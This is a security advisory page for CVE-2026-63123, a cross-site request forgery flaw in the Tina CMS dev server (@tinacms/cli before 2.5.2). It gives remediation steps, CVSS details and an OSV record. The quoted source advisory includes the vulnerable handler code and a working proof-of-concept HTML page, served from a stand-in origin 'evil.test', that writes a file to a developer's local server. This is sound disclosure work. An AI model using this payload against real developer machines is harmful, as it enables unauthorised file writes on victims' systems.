CVE-2026-63123: Tina Cross-origin `POST /media/upload/*` Requests Can Vulnerability

MODERATE
Advisory Identifier: GHSA-rgr9-r7mj-mf6x
CVSS 6.5
CWE-352
Published
Advisory Summary

CVE-2026-63123 is a MODERATE (CVSS 6.5) cross-origin `post /media/upload/*` requests can vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Tina libraries in the npm ecosystem. The issue involves cross-origin `post /media/upload/*` requests can write arbitrary files into the tina dev server media root. Remediation is available by upgrading affected packages to version 2.5.2.

CVE-2026-63123 at a Glance

CVE Identifier CVE-2026-63123
GHSA Identifier GHSA-rgr9-r7mj-mf6x
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Tina
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-63123

To remediate this vulnerability, upgrade all affected Tina dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/cli fixed: 2.5.2
npm install @tinacms/cli@2.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/cli

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63123, inspect your project dependencies using npm:

npm ls @tinacms/cli

Analyze the terminal output to locate any version of Tina in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.2), your application is affected.

Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Tina, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file. ### Details The issue is in the dev server path of `@tinacms/cli`. The Vite dev server installs CORS middleware: ```ts // packages/@tinacms/cli/src/next/vite/plugins.ts server.middlewares.use( cors({ origin: corsOriginCheck, methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'], }) ); ``` For disallowed origins, the origin callback only returns `false` to the CORS library: ```ts // packages/@tinacms/cli/src/next/vite/cors.ts return (origin, callback) => { ... callback(null, false); }; ``` That does not reject the request server-side. The same request is still routed into the upload handler: ```ts // packages/@tinacms/cli/src/next/vite/plugins.ts if (req.url.startsWith('/media/upload')) { await mediaRouter.handlePost(req, res); return; } ``` The upload handler then accepts attacker-controlled path and body data and writes the file: ```ts // packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts bb.on('file', async (_name, file, _info) => { const fullPath = decodeURIComponent( req.url?.slice('/media/upload/'.length) ); const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder); await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); ``` This is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request. I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents. The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution. ### PoC Minimal reproduction: 1. Start a Tina dev server so the media upload route is reachable at: ```text http://127.0.0.1:<TINA_PORT>/media/upload/<filename> ``` 2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page: ```html <!doctype html> <script> (async () => { const form = new FormData(); form.append( 'file', new Blob(['poc-from-cross-origin'], { type: 'text/plain' }), 'poc.txt' ); try { await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', { method: 'POST', body: form, }); console.log('fetch resolved'); } catch { console.log('fetch blocked by CORS'); } })(); </script> ``` 3. Open that page in a browser while the Tina dev server is running. 4. Observe: - the browser reports the cross-origin request as blocked or inaccessible, - but `poc.txt` is still created in the configured media directory, commonly: ```text public/uploads/poc.txt ``` 5. Verify the file contents are: ```text poc-from-cross-origin ``` This reproduces the vulnerability without any victim-side manual upload action. ### Impact This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.

CVE-2026-63123 Affected Tina Versions

1 component(s)
Fixed Versions:
2.5.2
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/cli
npm
< 2.5.2
2.5.2

References

Frequently Asked Questions

What is CVE-2026-63123?
CVE-2026-63123 is a security vulnerability in Tina involving Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root under CWE-352: Cross-Site Request Forgery (CSRF).
Which Tina versions are affected?
Affected versions include releases prior to 2.5.2 across affected packages: @tinacms/cli.
What version fixes CVE-2026-63123?
Upgrading to 2.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/cli affected?
Yes, @tinacms/cli is affected in releases prior to 2.5.2. Upgrade your dependency to 2.5.2 or later.
What is the CVSS score of CVE-2026-63123?
CVE-2026-63123 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-63123?
CVE-2026-63123 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check npm dependencies for CVE-2026-63123?
Run the dependency tree command: 'npm ls @tinacms/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rgr9-r7mj-mf6x",
  "modified" : "2026-08-21T18:31:29Z",
  "published" : "2026-08-19T21:56:36Z",
  "aliases" : [ "CVE-2026-63123" ],
  "summary" : "Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root",
  "details" : "### Summary\nA browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.\n\n### Details\nThe issue is in the dev server path of `@tinacms/cli`.\n\nThe Vite dev server installs CORS middleware:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nserver.middlewares.use(\n  cors({\n    origin: corsOriginCheck,\n    methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],\n  })\n);\n```\n\nFor disallowed origins, the origin callback only returns `false` to the CORS library:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/cors.ts\nreturn (origin, callback) => {\n  ...\n  callback(null, false);\n};\n```\n\nThat does not reject the request server-side. The same request is still routed into the upload handler:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nif (req.url.startsWith('/media/upload')) {\n  await mediaRouter.handlePost(req, res);\n  return;\n}\n```\n\nThe upload handler then accepts attacker-controlled path and body data and writes the file:\n\n```ts\n// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts\nbb.on('file', async (_name, file, _info) => {\n  const fullPath = decodeURIComponent(\n    req.url?.slice('/media/upload/'.length)\n  );\n  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);\n  await fs.ensureDir(path.dirname(saveTo));\n  file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\nThis is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.\n\nI validated this locally with a browser-backed repro:\n- the request origin was a disallowed non-localhost origin,\n- the browser treated the fetch as blocked,\n- the local Tina media file was still written with attacker-controlled contents.\n\nThe demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.\n\n### PoC\nMinimal reproduction:\n\n1. Start a Tina dev server so the media upload route is reachable at:\n```text\nhttp://127.0.0.1:<TINA_PORT>/media/upload/<filename>\n```\n\n2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page:\n\n```html\n<!doctype html>\n<script>\n(async () => {\n  const form = new FormData();\n  form.append(\n    'file',\n    new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),\n    'poc.txt'\n  );\n\n  try {\n    await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {\n      method: 'POST',\n      body: form,\n    });\n    console.log('fetch resolved');\n  } catch {\n    console.log('fetch blocked by CORS');\n  }\n})();\n</script>\n```\n\n3. Open that page in a browser while the Tina dev server is running.\n\n4. Observe:\n- the browser reports the cross-origin request as blocked or inaccessible,\n- but `poc.txt` is still created in the configured media directory, commonly:\n```text\npublic/uploads/poc.txt\n```\n\n5. Verify the file contents are:\n```text\npoc-from-cross-origin\n```\n\nThis reproduces the vulnerability without any victim-side manual upload action.\n\n### Impact\nThis is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63123"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7111"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-19T21:56:36Z",
    "nvd_published_at" : "2026-08-19T22:16:58Z"
  }
}